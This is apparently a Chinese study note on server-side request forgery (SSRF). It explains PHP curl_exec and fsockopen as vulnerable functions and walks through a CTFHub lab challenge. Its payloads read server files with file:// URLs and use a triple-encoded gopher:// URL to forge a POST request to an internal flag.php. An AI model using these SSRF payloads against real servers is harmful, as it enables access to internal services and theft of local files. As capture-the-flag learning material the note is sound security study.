ssrf简介
ssrf即服务器端请求伪造,利用服务器可以请求本地和内网中其他ip的权限,攻击者通过构造服务器请求,实现本地文件、信息获取和对内网中的ip进行端口扫描等。
漏洞成因:服务端提供了从其他服务器和本地获取数据的功能且没有对目标地址做过滤与限制,如:从指定URL地址获取网页文本内容,加载指定地址的图片,下载
ssrf中常用伪协议
1 | file://:访问本地文件系统 |
涉及函数
curl_exec()
curl_exec函数用于执行指定的cURL会话
1 | <?php |
实现从指定的URL地址抓取内容并将其显示在浏览器中,相当于一个ssrf漏洞代码
利用:post传参url=127.0.0.1/flag.php
fsockopen()
打开一个网络连接或者一个Unix套接字连接
1 | <?php |
函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限,传输原始数据
CTFHub-ssrf-POST请求
hint:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
curl:强大的开源库,支持多种协议,用来发送请求
御剑扫描php 200、3xx,探测到flag.php、index.php //扫不到?url=127.0.0.1/flag.php
请求本地文件,右键源码
1 | <form action="/flag.php" method="post"> |
发现key
?url=file:///var/www/html/index.php
1 | <?php |
?url=file:///var/www/html/flag.php
1 | <?php |
思路:往flag.php传key值就可以得到flag,而index.php可以利用curl传url,那么我们可以用gopher协议在index.php中构造post请求包往flag.php传key值,以此获取flag
POST包必须包含的四个参数:Content-Type,Content-Length,host,post
POST包如下:
1 | POST /flag.php HTTP/1.1 |
gopher的数据需要用url编码三次之后再发送
第一次编码后的数据%0A替换%0D%0A,把替换后的数据进行第二次url编码,为什么要把%0A替换呢?回车换行,编码的时候忽略了LF(换行)
url在线:http://www.jsons.cn/urlencode/
payload:
1 | /?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Length%25253A%25252036%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250A%25250D%25250Akey%25253Ded200db79375f224af615ef4be4a006f |
//前面的http可加可不加
为什么不同的在线解码url结果不同
redis是什么
参考:从一文中了解SSRF的各种绕过姿势及攻击思路